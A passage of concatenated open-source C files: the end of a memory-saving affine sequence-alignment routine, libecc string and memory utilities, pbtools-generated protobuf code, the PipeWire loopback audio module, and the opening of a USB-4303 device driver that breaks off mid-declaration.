(best > bestbest) { bestbest=best; *bestbestOut=best; *bestrOut=rr; *bestcOut=c; *bestdirOut=dir; } /* find best D delete in query */ best=WORST; try=u->bestd - gapExtend; if (try > best) { best=try; dir='d'; } try=u->bestm - gapOpen; if (try > best) { best=try; dir='m'; } try=u->besti - doubleGap; if (try > best) { best=try; dir='i'; } s->bestd = best; s->backd = dir; if (best > bestbest) { bestbest=best; *bestbestOut=best; *bestrOut=rr; *bestcOut=c; *bestdirOut=dir; } /* find best I insert in query */ best=WORST; try=l->bestd - doubleGap; if (try > best) { best=try; dir='d'; } try=l->bestm - gapOpen; if (try > best) { best=try; dir='m'; } try=l->besti - gapExtend; if (try > best) { best=try; dir='i'; } s->besti = best; s->backi = dir; if (best > bestbest) { bestbest=best; *bestbestOut=best; *bestrOut=rr; *bestcOut=c; *bestdirOut=dir; } #ifdef DEBUG dump2L(cellc+c); #endif d++;l++;u++;s++; } #ifdef DEBUG printf("\n"); #endif } } struct axt *axtAffine2Level(bioSeq *query, bioSeq *target, struct axtScoreScheme *ss) /* (Moving boundary version, allows target T size twice as large in same ram) Return alignment if any of query and target using scoring scheme. 2Level uses an economical amount of ram and should work for large target sequences. If Q is query size and T is target size and M is memory size, then Total memory used M = 30*Q*sqrt(T). When the target is much larger than the query this method saves ram, and average runtime is only 50% greater, or 1.5 QT. If Q=5000 and T=245,522,847 for hg17 chr1, then M = 2.2 GB ram. axtAffine would need M=3QT = 3.4 TB. Of course massive alignments will be painfully slow anyway. Works for protein as well as DNA given the correct scoreScheme. NOTES: Double-gap cost is equal to gap-extend cost, but gap-open would also work. On very large target, score integer may overflow. Input sequences not checked for invalid chars. Input not checked but query should be shorter than target. */ { struct axt *axt=needMem(sizeof(struct axt)); char *q = query->dna; char *t = target->dna; int Q= query->size; int T=target->size; int lv=Q+1; /* Q+1 is used so often let's call it lv for q-width */ int lw=T+1; /* T+1 is used so often let's call it lw for t-height */ int r = 0; /* row matrix index */ int c = 0; /* col matrix index */ char dir=' '; /* dir for bt */ int bestbest = WORST; /* best score in entire mtx */ int k=0; /* save every kth row (k decreasing) */ int ksize = 0; /* T+1 saved rows as ksize, ksize-1,...,1*/ int arrsize = 0; /* dynprg array size, +1 for 0 sentinel col. */ struct cell2L *cells = NULL; /* best score dyn prog array */ int ki = 0; /* base offset into array */ int cmost = Q; /* track right edge shrinkage during backtrace */ int kmax = 0; /* rows range from ki to kmax */ int rr = 0; /* maps ki base to actual target seq */ int nrows = 0; /* num rows to do, usually k or less */ int bestr = 0; /* remember best r,c,dir for local ali */ int bestc = 0; char bestdir = 0; int temp = 0; char *btq=NULL; /* temp pointers to track ends of string while accumulating */ char *btt=NULL; ksize = (int) (-1 + sqrt(8*lw+1))/2; if (((ksize*(ksize+1))/2) < lw) {ksize++;} arrsize = (ksize+1) * lv; /* dynprg array size, +1 for lastrow that moves back up. */ cells = needLargeMem(arrsize * sizeof(struct cell2L)); /* best score dyn prog array */ #ifdef DEBUG printf("\n k=%d \n ksize=%d \n arrsize=%d \n Q,lv=%d,%d T=%d \n \n",k,ksize,arrsize,Q,lv,T); #endif axt->next = NULL; axt->qName = cloneString(query->name); axt->tName = cloneString(target->name); axt->qStrand ='+'; axt->tStrand ='+'; axt->frame = 0; axt->score=0; axt->qStart=0; axt->tStart=0; axt->qEnd=0; axt->tEnd=0; axt->symCount=0; axt->qSym=NULL; axt->tSym=NULL; if ((Q==0) || (T==0)) { axt->qSym=cloneString(""); axt->tSym=cloneString(""); freez(&cells); return axt; } /* initialize origin corner */ cells[0].bestm=0; cells[0].bestd=WORST; cells[0].besti=WORST; cells[0].backm='x'; cells[0].backd='x'; cells[0].backi='x'; #ifdef DEBUG dump2L(cells); #endif /* initialize row 0 col 1 */ cells[1].bestm=WORST; cells[1].bestd=WORST; cells[1].besti=-ss->gapOpen; cells[1].backm='x'; cells[1].backd='x'; cells[1].backi='m'; #ifdef DEBUG dump2L(cells+1); #endif /* initialize first row of sentinels */ for (c=2;c<lv;c++) { cells[c].bestm=WORST; cells[c].bestd=WORST; cells[c].besti=cells[c-1].besti-ss->gapExtend; cells[c].backm='x'; cells[c].backd='x'; cells[c].backi='i'; #ifdef DEBUG dump2L(cells+c); #endif } #ifdef DEBUG printf("\n"); printf("\n"); #endif k=ksize; ki++; /* advance to next row */ r=1; /* r is really the rows all done */ while(1) { nrows = k; /* do k rows at a time, save every kth row on 1st pass */ if (nrows > (lw-r)) {nrows=lw-r;} /* may get less than k on last set */ kmax = ki+nrows-1; kForwardAffine(cells, ki, kmax, r-ki, cmost, lv, q, t, ss, &bestbest, &bestr, &bestc, &bestdir); #ifdef DEBUG printf("\n"); #endif r += nrows; if (nrows == k) /* got full set of k rows */ { /* compress, save every kth row */ /* optimize as a mem-copy */ memcpy(cells+ki*lv,cells+kmax*lv,sizeof(struct cell2L) *lv); } if (r >= lw){break;} /* we are done */ ki++; k--; /* decreasing k is "moving boundary" */ } #ifdef DEBUG printf("\nFWD PASS DONE. bestbest=%d bestr=%d bestc=%d bestdir=%c \n\n",bestbest,bestr,bestc,bestdir); #endif /* start doing backtrace */ /* adjust for reverse pass */ /* for local we automatically skip to bestr, bestc to begin tb */ if (bestbest <= 0) /* null alignment */ { bestr=0; bestc=0; /* bestdir won't matter */ } r = bestr; c = bestc; dir = bestdir; cmost = c; axt->qEnd=bestc; axt->tEnd=bestr; temp = (2*ksize)+1; ki = (int)(temp-sqrt((temp*temp)-(8*r)))/2; rr = ((2*ksize*ki)+ki-(ki*ki))/2; kmax = ki+(r-rr); k = ksize - ki; /* now that we jumped back into saved start-points, let's fill the array forward and start backtrace from there. */ #ifdef DEBUG printf("bestr=%d, bestc=%d, bestdir=%c k=%d, ki=%d, kmax=%d\n",bestr,bestc,bestdir,k,ki,kmax); #endif kForwardAffine(cells, ki+1, kmax, rr-ki, cmost, lv, q, t, ss, &bestbest, &bestr, &bestc, &bestdir); #ifdef DEBUG printf("\n(initial)BKWD PASS DONE. cmost=%d r=%d c=%d dir=%c \n\n",cmost,r,c,dir); #endif /* backtrace */ /* handling for resulting ali'd strings when very long */ axt->symCount=0; axt->qSym = needLargeMem((Q+T+1)*sizeof(char)); axt->tSym = needLargeMem((Q+T+1)*sizeof(char)); btq=axt->qSym; btt=axt->tSym; while(1) { while(1) { #ifdef DEBUG printf("bt: r=%d, c=%d, dir=%c \n",r,c,dir); #endif if ((r==0) && (c==0)){break;} /* hit origin, done */ if (r<rr){break;} /* ran out of targ seq, backup and reload */ if (dir=='x'){errAbort("unexpected error backtracing");} /* x only at origin */ if (dir=='s'){break;} /* hit start, local ali */ if (dir=='m') /* match */ { *btq++=q[c-1]; /* accumulate alignment output strings */ *btt++=t[r-1]; /* accumulate alignment output strings */ axt->symCount++; dir = cells[lv*(ki+r-rr)+c].backm; /* follow backtrace */ r--; /* adjust coords to move in dir spec'd by back ptr */ c--; cmost--; /* decreases as query seq is aligned, so saves on unused areas */ } else { if (dir=='d') /* delete in query (gap) */ { *btq++='-'; /* accumulate alignment output strings */ *btt++=t[r-1]; /* accumulate alignment output strings */ axt->symCount++; dir = cells[lv*(ki+r-rr)+c].backd; /* follow backtrace */ r--; /* adjust coords to move in dir spec'd by back ptr */ } else /* insert in query (gap) */ { *btq++=q[c-1]; /* accumulate alignment output strings */ *btt++='-'; /* accumulate alignment output strings */ axt->symCount++; dir = cells[lv*(ki+r-rr)+c].backi; /* follow backtrace */ c--; cmost--; /* decreases as query seq is aligned, so saves on unused areas */ } } } /* back up and do it again */ ki--; k++; /* k grows as we move back up */ rr-=k; kmax = ki+k-1; /* check for various termination conditions to stop main loop */ if (ki < 0) {break;} if ((r==0)&&(c==0)) {break;} if (dir=='s') {break;} /* re-calculate array from previous saved kth row going back this is how we save memory, but have to regenerate half on average we are re-using the same call */ #ifdef DEBUG printf("bestr=%d, bestc=%d, bestdir=%c k=%d, ki=%d, kmax=%d\n",bestr,bestc,bestdir,k,ki,kmax); #endif kForwardAffine(cells, ki+1, kmax, rr-ki, cmost, lv, q, t, ss, &bestbest, &bestr, &bestc, &bestdir); #ifdef DEBUG printf("\nBKWD PASS DONE. cmost=%d r=%d c=%d\n\n",cmost,r,c); #endif } axt->qStart=c; axt->tStart=r; /* reverse backwards trace and zero-terminate strings */ reverseBytes(axt->qSym,axt->symCount); reverseBytes(axt->tSym,axt->symCount); axt->qSym[axt->symCount]=0; axt->tSym[axt->symCount]=0; axt->score=bestbest; /* should I test stringsize and if massively smaller, realloc string to save ram? */ freez(&cells); return axt; }
300831.c
/* * Copyright (C) 2017 - This file is part of libecc project * * Authors: * Ryad BENADJILA <[email protected]> * Arnaud EBALARD <[email protected]> * Jean-Pierre FLORI <[email protected]> * * Contributors: * Nicolas VIVET <[email protected]> * Karim KHALFALLAH <[email protected]> * * This software is licensed under a dual BSD and GPL v2 license. * See LICENSE file at the root folder of the project. */ #include "utils.h" /* * Return 1 if first 'len' bytes of both buffers a and b are equal. It * returns 0 otherwise. The test is done in constant time. */ u8 are_equal(const void *a, const void *b, u32 len) { const u8 *la = a, *lb = b; u8 ret = 1; u32 i; for (i = 0; i < len; i++) { ret &= (*la == *lb); la++; lb++; } return ret; } /* This function is a simple (non-optimized) reimplementation of memcpy() */ void local_memcpy(void *dst, const void *src, u32 n) { const u8 *lsrc = src; u8 *ldst = dst; u32 i; for (i = 0; i < n; i++) { *ldst = *lsrc; ldst++; lsrc++; } } /* This function is a simple (non-optimized) reimplementation of memset() */ void local_memset(void *v, u8 c, u32 n) { volatile u8 *p = v; u32 i; for (i = 0; i < n; i++) { *p = c; p++; } } /* This function returns 1 if strings are equal and 0 otherise */ u8 are_str_equal(const char *s1, const char *s2) { const char *ls1 = s1, *ls2 = s2; while (*ls1 && (*ls1 == *ls2)) { ls1++; ls2++; } return *ls1 == *ls2; } /* This function is a simple (non-optimized) reimplementation of strlen() */ u32 local_strlen(const char *s) { u32 i = 0; while (s[i]) { i++; } return i; } /* This function is a simple (non-optimized) reimplementation of strnlen() */ u32 local_strnlen(const char *s, u32 maxlen) { u32 i = 0; while ((i < maxlen) && s[i]) { i++; } return i; } /* This functin is a simple (non-optimized) reimplementation of strncpy() */ char *local_strncpy(char *dst, const char *src, u32 n) { u32 i; for (i = 0; i < n && src[i]; i++) { dst[i] = src[i]; } for (; i < n; i++) { dst[i] = 0; } return dst; } /* This functin is a simple (non-optimized) reimplementation of strncat() */ char *local_strncat(char *dst, const char *src, u32 n) { u32 dst_len, i; dst_len = local_strlen(dst); for (i = 0; i < n && src[i]; i++) { dst[dst_len + i] = src[i]; } dst[dst_len + i] = 0; return dst; }
388735.c
/** * The MIT License (MIT) * * Copyright (c) 2019 Erik Moqvist * * Permission is hereby granted, free of charge, to any person * obtaining a copy of this software and associated documentation * files (the "Software"), to deal in the Software without * restriction, including without limitation the rights to use, copy, * modify, merge, publish, distribute, sublicense, and/or sell copies * of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be * included in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS * BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN * ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ /** * This file was generated by pbtools. */ #include <limits.h> #include "scalar_value_types.h" #if CHAR_BIT != 8 # error "Number of bits in a char must be 8." #endif void scalar_value_types_message_init( struct scalar_value_types_message_t *self_p, struct pbtools_heap_t *heap_p) { self_p->base.heap_p = heap_p; self_p->v1 = 0; pbtools_bytes_init(&self_p->v2); self_p->v3 = 0; self_p->v4 = 0; self_p->v5 = 0; self_p->v6 = 0; self_p->v7 = 0; self_p->v8 = 0; self_p->v9 = 0; self_p->v10 = 0; self_p->v11 = 0; self_p->v12 = 0; self_p->v13_p = ""; self_p->v14 = 0; self_p->v15 = 0; } void scalar_value_types_message_encode_inner( struct pbtools_encoder_t *encoder_p, struct scalar_value_types_message_t *self_p) { pbtools_encoder_write_uint64(encoder_p, 15, self_p->v15); pbtools_encoder_write_uint32(encoder_p, 14, self_p->v14); pbtools_encoder_write_string(encoder_p, 13, self_p->v13_p); pbtools_encoder_write_sint64(encoder_p, 12, self_p->v12); pbtools_encoder_write_sint32(encoder_p, 11, self_p->v11); pbtools_encoder_write_sfixed64(encoder_p, 10, self_p->v10); pbtools_encoder_write_sfixed32(encoder_p, 9, self_p->v9); pbtools_encoder_write_int64(encoder_p, 8, self_p->v8); pbtools_encoder_write_int32(encoder_p, 7, self_p->v7); pbtools_encoder_write_float(encoder_p, 6, self_p->v6); pbtools_encoder_write_fixed64(encoder_p, 5, self_p->v5); pbtools_encoder_write_fixed32(encoder_p, 4, self_p->v4); pbtools_encoder_write_double(encoder_p, 3, self_p->v3); pbtools_encoder_write_bytes(encoder_p, 2, &self_p->v2); pbtools_encoder_write_bool(encoder_p, 1, self_p->v1); } void scalar_value_types_message_decode_inner( struct pbtools_decoder_t *decoder_p, struct scalar_value_types_message_t *self_p) { int wire_type; while (pbtools_decoder_available(decoder_p)) { switch (pbtools_decoder_read_tag(decoder_p, &wire_type)) { case 1: self_p->v1 = pbtools_decoder_read_bool(decoder_p, wire_type); break; case 2: pbtools_decoder_read_bytes(decoder_p, wire_type, &self_p->v2); break; case 3: self_p->v3 = pbtools_decoder_read_double(decoder_p, wire_type); break; case 4: self_p->v4 = pbtools_decoder_read_fixed32(decoder_p, wire_type); break; case 5: self_p->v5 = pbtools_decoder_read_fixed64(decoder_p, wire_type); break; case 6: self_p->v6 = pbtools_decoder_read_float(decoder_p, wire_type); break; case 7: self_p->v7 = pbtools_decoder_read_int32(decoder_p, wire_type); break; case 8: self_p->v8 = pbtools_decoder_read_int64(decoder_p, wire_type); break; case 9: self_p->v9 = pbtools_decoder_read_sfixed32(decoder_p, wire_type); break; case 10: self_p->v10 = pbtools_decoder_read_sfixed64(decoder_p, wire_type); break; case 11: self_p->v11 = pbtools_decoder_read_sint32(decoder_p, wire_type); break; case 12: self_p->v12 = pbtools_decoder_read_sint64(decoder_p, wire_type); break; case 13: pbtools_decoder_read_string(decoder_p, wire_type, &self_p->v13_p); break; case 14: self_p->v14 = pbtools_decoder_read_uint32(decoder_p, wire_type); break; case 15: self_p->v15 = pbtools_decoder_read_uint64(decoder_p, wire_type); break; default: pbtools_decoder_skip_field(decoder_p, wire_type); break; } } } void scalar_value_types_message_encode_repeated_inner( struct pbtools_encoder_t *encoder_p, int field_number, struct scalar_value_types_message_repeated_t *repeated_p) { pbtools_encode_repeated_inner( encoder_p, field_number, (struct pbtools_repeated_message_t *)repeated_p, sizeof(struct scalar_value_types_message_t), (pbtools_message_encode_inner_t)scalar_value_types_message_encode_inner); } void scalar_value_types_message_decode_repeated_inner( struct pbtools_decoder_t *decoder_p, struct pbtools_repeated_info_t *repeated_info_p, struct scalar_value_types_message_repeated_t *repeated_p) { pbtools_decode_repeated_inner( decoder_p, repeated_info_p, (struct pbtools_repeated_message_t *)repeated_p, sizeof(struct scalar_value_types_message_t), (pbtools_message_init_t)scalar_value_types_message_init, (pbtools_message_decode_inner_t)scalar_value_types_message_decode_inner); } struct scalar_value_types_message_t * scalar_value_types_message_new( void *workspace_p, size_t size) { return (pbtools_message_new( workspace_p, size, sizeof(struct scalar_value_types_message_t), (pbtools_message_init_t)scalar_value_types_message_init)); } int scalar_value_types_message_encode( struct scalar_value_types_message_t *self_p, uint8_t *encoded_p, size_t size) { return (pbtools_message_encode( &self_p->base, encoded_p, size, (pbtools_message_encode_inner_t)scalar_value_types_message_encode_inner)); } int scalar_value_types_message_decode( struct scalar_value_types_message_t *self_p, const uint8_t *encoded_p, size_t size) { return (pbtools_message_decode( &self_p->base, encoded_p, size, (pbtools_message_decode_inner_t)scalar_value_types_message_decode_inner)); }
912446.c
/* PipeWire * * Copyright © 2021 Wim Taymans * * Permission is hereby granted, free of charge, to any person obtaining a * copy of this software and associated documentation files (the "Software"), * to deal in the Software without restriction, including without limitation * the rights to use, copy, modify, merge, publish, distribute, sublicense, * and/or sell copies of the Software, and to permit persons to whom the * Software is furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice (including the next * paragraph) shall be included in all copies or substantial portions of the * Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER * DEALINGS IN THE SOFTWARE. */ #include <string.h> #include <stdio.h> #include <errno.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> #include "config.h" #include <spa/utils/result.h> #include <spa/utils/string.h> #include <spa/utils/json.h> #include <spa/param/profiler.h> #include <spa/debug/pod.h> #include <pipewire/private.h> #include <pipewire/impl.h> #include <pipewire/extensions/profiler.h> /** \page page_module_loopback PipeWire Module: Loopback */ #define NAME "loopback" PW_LOG_TOPIC_STATIC(mod_topic, "mod." NAME); #define PW_LOG_TOPIC_DEFAULT mod_topic static const struct spa_dict_item module_props[] = { { PW_KEY_MODULE_AUTHOR, "Wim Taymans <[email protected]>" }, { PW_KEY_MODULE_DESCRIPTION, "Create loopback streams" }, { PW_KEY_MODULE_USAGE, " [ remote.name=<remote> ] " "[ node.latency=<latency as fraction> ] " "[ node.name=<name of the nodes> ] " "[ node.description=<description of the nodes> ] " "[ audio.rate=<sample rate> ] " "[ audio.channels=<number of channels> ] " "[ audio.position=<channel map> ] " "[ capture.props=<properties> ] " "[ playback.props=<properties> ] " }, { PW_KEY_MODULE_VERSION, PACKAGE_VERSION }, }; #include <stdlib.h> #include <signal.h> #include <getopt.h> #include <limits.h> #include <math.h> #include <spa/pod/builder.h> #include <spa/param/audio/format-utils.h> #include <spa/param/audio/raw.h> #include <pipewire/pipewire.h> struct impl { struct pw_context *context; struct pw_impl_module *module; struct pw_work_queue *work; struct spa_hook module_listener; struct pw_core *core; struct spa_hook core_proxy_listener; struct spa_hook core_listener; struct pw_properties *capture_props; struct pw_stream *capture; struct spa_hook capture_listener; struct spa_audio_info_raw capture_info; struct pw_properties *playback_props; struct pw_stream *playback; struct spa_hook playback_listener; struct spa_audio_info_raw playback_info; unsigned int do_disconnect:1; unsigned int unloading:1; }; static void do_unload_module(void *obj, void *data, int res, uint32_t id) { struct impl *impl = data; pw_impl_module_destroy(impl->module); } static void unload_module(struct impl *impl) { if (!impl->unloading) { impl->unloading = true; pw_work_queue_add(impl->work, impl, 0, do_unload_module, impl); } } static void capture_destroy(void *d) { struct impl *impl = d; spa_hook_remove(&impl->capture_listener); impl->capture = NULL; } static void capture_process(void *d) { struct impl *impl = d; struct pw_buffer *in, *out; uint32_t i; if ((in = pw_stream_dequeue_buffer(impl->capture)) == NULL) pw_log_debug("out of capture buffers: %m"); if ((out = pw_stream_dequeue_buffer(impl->playback)) == NULL) pw_log_debug("out of playback buffers: %m"); if (in != NULL && out != NULL) { uint32_t size = 0; int32_t stride = 0; for (i = 0; i < out->buffer->n_datas; i++) { struct spa_data *ds, *dd; dd = &out->buffer->datas[i]; if (i < in->buffer->n_datas) { ds = &in->buffer->datas[i]; memcpy(dd->data, SPA_PTROFF(ds->data, ds->chunk->offset, void), ds->chunk->size); size = SPA_MAX(size, ds->chunk->size); stride = SPA_MAX(stride, ds->chunk->stride); } else { memset(dd->data, 0, size); } dd->chunk->offset = 0; dd->chunk->size = size; dd->chunk->stride = stride; } } if (in != NULL) pw_stream_queue_buffer(impl->capture, in); if (out != NULL) pw_stream_queue_buffer(impl->playback, out); pw_stream_trigger_process(impl->playback); } static void param_latency_changed(struct impl *impl, const struct spa_pod *param, struct pw_stream *other) { struct spa_latency_info latency; uint8_t buffer[1024]; struct spa_pod_builder b; const struct spa_pod *params[1]; if (spa_latency_parse(param, &latency) < 0) return; spa_pod_builder_init(&b, buffer, sizeof(buffer)); params[0] = spa_latency_build(&b, SPA_PARAM_Latency, &latency); pw_stream_update_params(other, params, 1); } static void stream_state_changed(void *data, enum pw_stream_state old, enum pw_stream_state state, const char *error) { struct impl *impl = data; switch (state) { case PW_STREAM_STATE_PAUSED: pw_stream_flush(impl->playback, false); pw_stream_flush(impl->capture, false); break; default: break; } } static void capture_param_changed(void *data, uint32_t id, const struct spa_pod *param) { struct impl *impl = data; switch (id) { case SPA_PARAM_Latency: param_latency_changed(impl, param, impl->playback); break; } } static const struct pw_stream_events in_stream_events = { PW_VERSION_STREAM_EVENTS, .destroy = capture_destroy, .process = capture_process, .state_changed = stream_state_changed, .param_changed = capture_param_changed, }; static void playback_destroy(void *d) { struct impl *impl = d; spa_hook_remove(&impl->playback_listener); impl->playback = NULL; } static void playback_param_changed(void *data, uint32_t id, const struct spa_pod *param) { struct impl *impl = data; switch (id) { case SPA_PARAM_Latency: param_latency_changed(impl, param, impl->capture); break; } } static const struct pw_stream_events out_stream_events = { PW_VERSION_STREAM_EVENTS, .destroy = playback_destroy, .state_changed = stream_state_changed, .param_changed = playback_param_changed, }; static int setup_streams(struct impl *impl) { int res; uint32_t n_params; const struct spa_pod *params[1]; uint8_t buffer[1024]; struct spa_pod_builder b; impl->capture = pw_stream_new(impl->core, "loopback capture", impl->capture_props); impl->capture_props = NULL; if (impl->capture == NULL) return -errno; pw_stream_add_listener(impl->capture, &impl->capture_listener, &in_stream_events, impl); impl->playback = pw_stream_new(impl->core, "loopback playback", impl->playback_props); impl->playback_props = NULL; if (impl->playback == NULL) return -errno; pw_stream_add_listener(impl->playback, &impl->playback_listener, &out_stream_events, impl); n_params = 0; spa_pod_builder_init(&b, buffer, sizeof(buffer)); params[n_params++] = spa_format_audio_raw_build(&b, SPA_PARAM_EnumFormat, &impl->capture_info); if ((res = pw_stream_connect(impl->capture, PW_DIRECTION_INPUT, PW_ID_ANY, PW_STREAM_FLAG_AUTOCONNECT | PW_STREAM_FLAG_MAP_BUFFERS | PW_STREAM_FLAG_RT_PROCESS, params, n_params)) < 0) return res; n_params = 0; spa_pod_builder_init(&b, buffer, sizeof(buffer)); params[n_params++] = spa_format_audio_raw_build(&b, SPA_PARAM_EnumFormat, &impl->playback_info); if ((res = pw_stream_connect(impl->playback, PW_DIRECTION_OUTPUT, PW_ID_ANY, PW_STREAM_FLAG_AUTOCONNECT | PW_STREAM_FLAG_MAP_BUFFERS | PW_STREAM_FLAG_RT_PROCESS | PW_STREAM_FLAG_TRIGGER, params, n_params)) < 0) return res; return 0; } static void core_error(void *data, uint32_t id, int seq, int res, const char *message) { struct impl *impl = data; pw_log_error("error id:%u seq:%d res:%d (%s): %s", id, seq, res, spa_strerror(res), message); if (id == PW_ID_CORE && res == -EPIPE) unload_module(impl); } static const struct pw_core_events core_events = { PW_VERSION_CORE_EVENTS, .error = core_error, }; static void core_destroy(void *d) { struct impl *impl = d; spa_hook_remove(&impl->core_listener); impl->core = NULL; unload_module(impl); } static const struct pw_proxy_events core_proxy_events = { .destroy = core_destroy, }; static void impl_destroy(struct impl *impl) { if (impl->capture) pw_stream_destroy(impl->capture); if (impl->playback) pw_stream_destroy(impl->playback); if (impl->core && impl->do_disconnect) pw_core_disconnect(impl->core); pw_properties_free(impl->capture_props); pw_properties_free(impl->playback_props); if (impl->work) pw_work_queue_cancel(impl->work, impl, SPA_ID_INVALID); free(impl); } static void module_destroy(void *data) { struct impl *impl = data; impl->unloading = true; spa_hook_remove(&impl->module_listener); impl_destroy(impl); } static const struct pw_impl_module_events module_events = { PW_VERSION_IMPL_MODULE_EVENTS, .destroy = module_destroy, }; static uint32_t channel_from_name(const char *name) { int i; for (i = 0; spa_type_audio_channel[i].name; i++) { if (spa_streq(name, spa_debug_type_short_name(spa_type_audio_channel[i].name))) return spa_type_audio_channel[i].type; } return SPA_AUDIO_CHANNEL_UNKNOWN; } static void parse_position(struct spa_audio_info_raw *info, const char *val, size_t len) { struct spa_json it[2]; char v[256]; spa_json_init(&it[0], val, len); if (spa_json_enter_array(&it[0], &it[1]) <= 0) spa_json_init(&it[1], val, len); info->channels = 0; while (spa_json_get_string(&it[1], v, sizeof(v)) > 0 && info->channels < SPA_AUDIO_MAX_CHANNELS) { info->position[info->channels++] = channel_from_name(v); } } static void parse_audio_info(struct pw_properties *props, struct spa_audio_info_raw *info) { const char *str; *info = SPA_AUDIO_INFO_RAW_INIT( .format = SPA_AUDIO_FORMAT_F32P); info->rate = pw_properties_get_int32(props, PW_KEY_AUDIO_RATE, 0); info->channels = pw_properties_get_uint32(props, PW_KEY_AUDIO_CHANNELS, 0); if ((str = pw_properties_get(props, SPA_KEY_AUDIO_POSITION)) != NULL) parse_position(info, str, strlen(str)); } static void copy_props(struct impl *impl, struct pw_properties *props, const char *key) { const char *str; if ((str = pw_properties_get(props, key)) != NULL) { if (pw_properties_get(impl->capture_props, key) == NULL) pw_properties_set(impl->capture_props, key, str); if (pw_properties_get(impl->playback_props, key) == NULL) pw_properties_set(impl->playback_props, key, str); } } SPA_EXPORT int pipewire__module_init(struct pw_impl_module *module, const char *args) { struct pw_context *context = pw_impl_module_get_context(module); struct pw_properties *props; struct impl *impl; uint32_t id = pw_global_get_id(pw_impl_module_get_global(module)); const char *str; int res; PW_LOG_TOPIC_INIT(mod_topic); impl = calloc(1, sizeof(struct impl)); if (impl == NULL) return -errno; pw_log_debug("module %p: new %s", impl, args); if (args) props = pw_properties_new_string(args); else props = pw_properties_new(NULL, NULL); if (props == NULL) { res = -errno; pw_log_error( "can't create properties: %m"); goto error; } impl->capture_props = pw_properties_new(NULL, NULL); impl->playback_props = pw_properties_new(NULL, NULL); if (impl->capture_props == NULL || impl->playback_props == NULL) { res = -errno; pw_log_error( "can't create properties: %m"); goto error; } impl->module = module; impl->context = context; impl->work = pw_context_get_work_queue(context); if (impl->work == NULL) { res = -errno; pw_log_error( "can't get work queue: %m"); goto error; } if (pw_properties_get(props, PW_KEY_NODE_GROUP) == NULL) pw_properties_setf(props, PW_KEY_NODE_GROUP, "loopback-%u", id); if (pw_properties_get(props, PW_KEY_NODE_LINK_GROUP) == NULL) pw_properties_setf(props, PW_KEY_NODE_LINK_GROUP, "loopback-%u", id); if (pw_properties_get(props, PW_KEY_NODE_VIRTUAL) == NULL) pw_properties_set(props, PW_KEY_NODE_VIRTUAL, "true"); if (pw_properties_get(props, PW_KEY_NODE_NAME) == NULL) pw_properties_setf(props, PW_KEY_NODE_NAME, "loopback-%u", id); if (pw_properties_get(props, PW_KEY_NODE_DESCRIPTION) == NULL) pw_properties_set(props, PW_KEY_NODE_DESCRIPTION, pw_properties_get(props, PW_KEY_NODE_NAME)); if ((str = pw_properties_get(props, "capture.props")) != NULL) pw_properties_update_string(impl->capture_props, str, strlen(str)); if ((str = pw_properties_get(props, "playback.props")) != NULL) pw_properties_update_string(impl->playback_props, str, strlen(str)); copy_props(impl, props, PW_KEY_AUDIO_RATE); copy_props(impl, props, PW_KEY_AUDIO_CHANNELS); copy_props(impl, props, SPA_KEY_AUDIO_POSITION); copy_props(impl, props, PW_KEY_NODE_NAME); copy_props(impl, props, PW_KEY_NODE_DESCRIPTION); copy_props(impl, props, PW_KEY_NODE_GROUP); copy_props(impl, props, PW_KEY_NODE_LINK_GROUP); copy_props(impl, props, PW_KEY_NODE_LATENCY); copy_props(impl, props, PW_KEY_NODE_VIRTUAL); parse_audio_info(impl->capture_props, &impl->capture_info); parse_audio_info(impl->playback_props, &impl->playback_info); impl->core = pw_context_get_object(impl->context, PW_TYPE_INTERFACE_Core); if (impl->core == NULL) { str = pw_properties_get(props, PW_KEY_REMOTE_NAME); impl->core = pw_context_connect(impl->context, pw_properties_new( PW_KEY_REMOTE_NAME, str, NULL), 0); impl->do_disconnect = true; } if (impl->core == NULL) { res = -errno; pw_log_error("can't connect: %m"); goto error; } pw_properties_free(props); pw_proxy_add_listener((struct pw_proxy*)impl->core, &impl->core_proxy_listener, &core_proxy_events, impl); pw_core_add_listener(impl->core, &impl->core_listener, &core_events, impl); setup_streams(impl); pw_impl_module_add_listener(module, &impl->module_listener, &module_events, impl); pw_impl_module_update_properties(module, &SPA_DICT_INIT_ARRAY(module_props)); return 0; error: pw_properties_free(props); impl_destroy(impl); return res; }
209844.c
/* * * Copyright (c) 2015 Warren J. Jasper <[email protected]> * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ #include <stdlib.h> #include <stdio.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <stdint.h> #include "pmd.h" #include "usb-4303.h" #define FS_DELAY (1000) /* reads digital port */ uint8_t usbDIn_USB4303(hid_device *hid) { uint8_t reportID = DIN; struct 